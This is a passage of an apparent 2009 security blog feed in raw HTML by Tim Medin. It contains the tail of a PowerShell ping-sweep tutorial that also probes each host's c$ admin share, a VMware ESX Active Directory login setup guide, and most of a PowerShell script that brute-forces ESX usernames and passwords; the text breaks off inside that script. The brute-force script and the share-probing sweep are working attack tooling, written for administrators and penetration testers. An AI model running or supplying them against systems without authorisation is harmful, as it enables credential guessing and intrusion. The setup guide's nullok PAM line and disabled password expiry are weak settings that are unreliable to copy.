&lt;P&gt;&lt;FONT face="Courier New"&gt;where-object {$_.Status -eq "success"} &lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;&lt;/SPAN&gt;The output of the send method is the PingReply object which contains a status. We can filter the results only successful pings reply objects will be sent further down the pipeline.&lt;/P&gt;
&lt;P&gt;&lt;SPAN style="COLOR: #27750f"&gt;&lt;FONT face="Courier New"&gt;Select Address&lt;/FONT&gt;&lt;/SPAN&gt;&lt;BR&gt;&lt;BR&gt;Finally, all we care about is the address so that is the only piece we have displayed.&lt;/P&gt;
&lt;P&gt;Now that we know how it works, let's pimp out our powershell version.&lt;/P&gt;
&lt;P&gt;First, we don't have to just use a contiguous set of numbers. If we wanted to scan all ip address before 10.10.10.100, after 10.10.10.200 and 10.10.10.155 we could use this:&lt;BR&gt;&lt;BR&gt;&lt;SPAN style="COLOR: #27750f"&gt;&lt;FONT face="Courier New"&gt;(1..99),(200..255),155 | foreach-object ....&lt;BR&gt;&lt;/FONT&gt;&lt;/SPAN&gt;&lt;BR&gt;We can use the results to feed into other commands. You can ping sweep an entire subnet and have it automatically do an nslookup, attempt to list the contents of the c$ share, and tell you that you are doing a good job (a little positive reinforcement never hurts).&lt;/P&gt;&lt;SPAN style="COLOR: #27750f"&gt;
&lt;P&gt;&lt;FONT face="Courier New"&gt;PS C:\&amp;gt;1..255 | foreach-object { (new-object System.Net.Networkinformation.Ping).Send("10.10.10.$_") } | where-object {$_.Status -eq "success"} | foreach-object { nslookup $_; gci "\\$($_.Address)\c$"; echo "Good Job" }&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;&lt;/SPAN&gt;The ping sweep can be sped up by setting a timeout value (in milliseconds). In the example below we set the timeout value to 100ms.&lt;/P&gt;&lt;SPAN style="COLOR: #27750f"&gt;
&lt;P&gt;&lt;FONT face="Courier New"&gt;... (new-object System.Net.Networkinformation.Ping).Send("10.10.10.$_", 100) ...&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;&lt;/SPAN&gt;Next time we'll look into using the powershell version of nslookup and the brute force reverse dns lookup.&lt;/P&gt;</content></entry><entry><title>VMware Login via AD</title><link rel="alternate" href="http://blog.securitywhole.com/2009/09/20/vmware-login-via-ad.aspx?ref=rss" /><id>tag:blog.securitywhole.com,2009-09-20:d5380040-8233-494c-92f8-5d423c6be5f9</id><author><name>Tim Medin</name></author><updated>2009-09-21T03:18:00Z</updated><published>2009-09-21T03:18:00Z</published><content type="html">I put this together in order to integrate the login from VMWare into AD.&lt;BR&gt;&lt;BR&gt;&lt;STRONG&gt;NTP&lt;BR&gt;&lt;/STRONG&gt;To setup the ESX server for AD authentication the following steps need to be taken. NTP needs to be done first so the server has a time close to that of the domain controller. The ntp ports need to be opened via the gui and the deamon needs to be started as well.&lt;BR&gt;&lt;BR&gt;Allow the ntp client access through the firewall&lt;BR&gt;In the GUI under the Configuration tab click on Security Profile then click on Properties… on the top right. A Firewall Options window will open.&amp;nbsp; Click the checkbox next to NTP Client.&lt;BR&gt;&lt;BR&gt;Edit the ntp configuration file located at /etc/ntp.conf&lt;BR&gt;&lt;FONT face="Courier New"&gt;&lt;BR&gt;&lt;/FONT&gt;Under servers add the same servers the domain uses for ntp (i.e. tock.usno.navy.mil and tick.usno.navy.mil)&lt;BR&gt;Add:&lt;BR&gt;&lt;FONT face="Courier New"&gt;restrict default kod nomodify notrap&lt;/FONT&gt;&lt;BR&gt;delete:&lt;BR&gt;fudge line&lt;BR&gt;server&amp;nbsp; 127.127.1.0 #local clock&lt;BR&gt;e.g.:&lt;BR&gt;&lt;FONT face="Courier New"&gt;restrict default kod nomodify notrap&lt;BR&gt;server tock.usno.navy.mil&lt;BR&gt;server tick.usno.navy.mil&lt;BR&gt;&lt;/FONT&gt;&lt;BR&gt;Edit the steptickers file located at /etc/ntp/step-tickers&lt;BR&gt;add the same servers the domain uses for ntp on separate lines&lt;BR&gt;tock.usno.navy.mil&lt;BR&gt;tick.usno.navy.mil&lt;BR&gt;&lt;BR&gt;restart the ntp service:&lt;BR&gt;&lt;FONT face="Courier New"&gt;service ntpd restart&lt;/FONT&gt;&lt;BR&gt;&amp;nbsp;&lt;BR&gt;check to make sure the time update worked (from command line)&lt;BR&gt;&lt;FONT face="Courier New"&gt;ntpdate -q tock.usno.navy.mil&lt;BR&gt;ntpdate -q tick.usno.navy.mil&lt;/FONT&gt; 
&lt;P&gt;&lt;STRONG&gt;Active Directory Authentication&lt;/STRONG&gt;&lt;BR&gt;Paste these lines into the CLI. The first two lines can be added via the GUI. VIC -&amp;gt; Configuration -&amp;gt; Security Profile -&amp;gt; Properties -&amp;gt; Add activeDirectorKerberos [sic] (NOT Kerberos).&lt;BR&gt;&lt;FONT face="Courier New"&gt;esxcfg-firewall --openPort 88,tcp,out,KerberosClient&lt;BR&gt;esxcfg-firewall --openPort 464,tcp,out,KerberosPasswordChange&lt;BR&gt;esxcfg-auth --enablead --addomain agstar.local --addc mydc.mycdomain.blah&lt;BR&gt;esxcfg-auth --enablekrb5 --krb5realm=agstar.local --krb5kdc=&lt;/FONT&gt;&lt;FONT face="Courier New"&gt;mydc.mycdomain.blah&lt;/FONT&gt;&lt;FONT face="Courier New"&gt;-–krb5adminserver=&lt;/FONT&gt;&lt;FONT face="Courier New"&gt;mydc.mycdomain.blah&lt;/FONT&gt;&lt;BR&gt;&lt;BR&gt;Edit the VMWare Authentication deamon config located at /etc/pam.d/vmware-authd and add this line to the top:&lt;BR&gt;&lt;FONT face="Courier New"&gt;auth sufficient /lib/security/pam_unix_auth.so shadow nullok&lt;BR&gt;&lt;/FONT&gt;&lt;BR&gt;Prevent users’ password from expiring since that is taken care of in AD.&lt;BR&gt;&lt;FONT face="Courier New"&gt;esxcfg-auth --passmaxdays=-1&lt;/FONT&gt;&lt;BR&gt;&lt;BR&gt;Add users using the username found in AD&lt;BR&gt;adduser jdoe&lt;BR&gt;adduser ymomma&lt;BR&gt;adduser bdover&lt;/P&gt;
&lt;H1&gt;Done&lt;/H1&gt;Now don't forgot to add the users to the wheel groups so they can ssh to the box. Also, add them to the sudoers file so they don't have to use su.&lt;BR&gt;&lt;BR&gt;</content></entry><entry><title>Brute Force ESX Username/Password</title><link rel="alternate" href="http://blog.securitywhole.com/2009/09/01/brute-force-esx-usernamepassword.aspx?ref=rss" /><id>tag:blog.securitywhole.com,2009-09-01:76bf4346-a0be-437a-9fba-4a07348edd91</id><author><name>Tim Medin</name></author><updated>2009-09-01T13:16:00Z</updated><published>2009-09-01T13:16:00Z</published><content type="html">This script will brute force the connection to ESX. You can either give it a single username or a username file. Similarly, you can either give it a single password or a&amp;nbsp;password file. You also have the ability to define how many jobs will run in parallel.&lt;BR&gt;&lt;BR&gt;&lt;FONT color=#008000 size=2 face="Courier New"&gt;&lt;FONT color=#008000 size=2 face="Courier New"&gt;&lt;FONT color=#008000 size=2 face="Courier New"&gt;#--------------------------------------------------------------&lt;BR&gt;#Description: Powershell Simple VMware ESX Login Brute Force Script&lt;BR&gt;#Version: 1.0 &lt;BR&gt;#Author: Tim Medin&lt;BR&gt;#Email: TimMedin A@T securitywhole D.O.T com&lt;BR&gt;#--------------------------------------------------------------&lt;BR&gt;#Parameter Declaration&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#0000ff size=2 face="Courier New"&gt;&lt;FONT color=#0000ff size=2 face="Courier New"&gt;&lt;FONT color=#0000ff size=2 face="Courier New"&gt;param&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; ( &lt;BR&gt;[Parameter(Position&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;=&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;0)]&lt;BR&gt;[&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#008080 size=2 face="Courier New"&gt;&lt;FONT color=#008080 size=2 face="Courier New"&gt;&lt;FONT color=#008080 size=2 face="Courier New"&gt;string&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;] &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$Server&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;=&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; $(Read-Host -prompt &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800000 size=2 face="Courier New"&gt;&lt;FONT color=#800000 size=2 face="Courier New"&gt;&lt;FONT color=#800000 size=2 face="Courier New"&gt;"Server"&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;),&lt;BR&gt;[Parameter(Mandatory&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;=&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$false&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;)] &lt;BR&gt;[&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#008080 size=2 face="Courier New"&gt;&lt;FONT color=#008080 size=2 face="Courier New"&gt;&lt;FONT color=#008080 size=2 face="Courier New"&gt;string&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;] &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$User&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;,&lt;BR&gt;[Parameter(Mandatory&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;=&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$false&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;)] &lt;BR&gt;[&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#008080 size=2 face="Courier New"&gt;&lt;FONT color=#008080 size=2 face="Courier New"&gt;&lt;FONT color=#008080 size=2 face="Courier New"&gt;string&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;] &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$Password&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;,&lt;BR&gt;[Parameter(Mandatory&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;=&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$false&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;)] &lt;BR&gt;[&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#008080 size=2 face="Courier New"&gt;&lt;FONT color=#008080 size=2 face="Courier New"&gt;&lt;FONT color=#008080 size=2 face="Courier New"&gt;string&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;] &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$UsersFile&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;,&lt;BR&gt;[Parameter(Mandatory&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;=&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$false&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;)] &lt;BR&gt;[&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#008080 size=2 face="Courier New"&gt;&lt;FONT color=#008080 size=2 face="Courier New"&gt;&lt;FONT color=#008080 size=2 face="Courier New"&gt;string&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;] &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$PasswordsFile&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;,&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;[Parameter(Mandatory&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;=&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$false&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;)] &lt;BR&gt;[&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#008080 size=2 face="Courier New"&gt;&lt;FONT color=#008080 size=2 face="Courier New"&gt;&lt;FONT color=#008080 size=2 face="Courier New"&gt;int&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;] &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$MaxJobs&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;=&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; 10&lt;BR&gt;)&lt;BR&gt;&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#008000 size=2 face="Courier New"&gt;&lt;FONT color=#008000 size=2 face="Courier New"&gt;&lt;FONT color=#008000 size=2 face="Courier New"&gt;# Function to handle the jobs once they complete&lt;BR&gt;# As the jobs finish (Completed, or Failed) they are handled by this routine&lt;BR&gt;# Each Job has a child job that actually does the work, if that job&lt;BR&gt;# does not have an error then we have found a successful user/pass combo&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#0000ff size=2 face="Courier New"&gt;&lt;FONT color=#0000ff size=2 face="Courier New"&gt;&lt;FONT color=#0000ff size=2 face="Courier New"&gt;Function&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#5f9ea0 size=2 face="Courier New"&gt;&lt;FONT color=#5f9ea0 size=2 face="Courier New"&gt;&lt;FONT color=#5f9ea0 size=2 face="Courier New"&gt;Handle-Jobs&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; {&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Get-Job | Where-Object {&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$_&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;.State &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;-ne&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800000 size=2 face="Courier New"&gt;&lt;FONT color=#800000 size=2 face="Courier New"&gt;&lt;FONT color=#800000 size=2 face="Courier New"&gt;"Running"&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;} | ForEach-Object {&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $job&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;=&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$_&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#0000ff size=2 face="Courier New"&gt;&lt;FONT color=#0000ff size=2 face="Courier New"&gt;&lt;FONT color=#0000ff size=2 face="Courier New"&gt;&lt;FONT color=#800080&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/FONT&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; if&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; (&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;!&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$job&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;.ChildJobs[0].Error) {&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#008000 size=2 face="Courier New"&gt;&lt;FONT color=#008000 size=2 face="Courier New"&gt;&lt;FONT color=#008000 size=2 face="Courier New"&gt;&lt;FONT color=#800080&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/FONT&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; # Found one!&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT color=#800080&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/FONT&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Receive-Job &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$job&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; -Keep | Out-Null&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#008000 size=2 face="Courier New"&gt;&lt;FONT color=#008000 size=2 face="Courier New"&gt;&lt;FONT color=#008000 size=2 face="Courier New"&gt;&lt;FONT color=#000000&gt;&lt;FONT color=#800080&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/FONT&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;# Echo the user/pass combo stored the job name&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT color=#800080&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/FONT&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; echo &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800000 size=2 face="Courier New"&gt;&lt;FONT color=#800000 size=2 face="Courier New"&gt;&lt;FONT color=#800000 size=2 face="Courier New"&gt;"Found $($job.Name)"&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#008000 size=2 face="Courier New"&gt;&lt;FONT color=#008000 size=2 face="Courier New"&gt;&lt;FONT color=#008000 size=2 face="Courier New"&gt;&lt;FONT color=#000000&gt;&lt;FONT color=#800080&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/FONT&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;#Clean up all the running jobs&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT color=#800080&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/FONT&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Get-Job | Stop-Job&lt;BR&gt;&lt;FONT color=#800080&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/FONT&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Get-Job | Remove-Job&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#008000 size=2 face="Courier New"&gt;&lt;FONT color=#008000 size=2 face="Courier New"&gt;&lt;FONT color=#008000 size=2 face="Courier New"&gt;&lt;FONT color=#000000&gt;&lt;FONT color=#800080&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/FONT&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;#quit&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT color=#800080&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/FONT&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; exit&lt;BR&gt;&lt;FONT color=#800080&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/FONT&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;BR&gt;&lt;FONT color=#800080&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/FONT&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Remove-Job &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$job&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT color=#800080&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;}&lt;BR&gt;}&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#008000 size=2 face="Courier New"&gt;&lt;FONT color=#008000 size=2 face="Courier New"&gt;&lt;FONT color=#008000 size=2 face="Courier New"&gt;&lt;BR&gt;# Make sure we have enough info passed in from the parameters&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#0000ff size=2 face="Courier New"&gt;&lt;FONT color=#0000ff size=2 face="Courier New"&gt;&lt;FONT color=#0000ff size=2 face="Courier New"&gt;if&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; (&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;!&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier 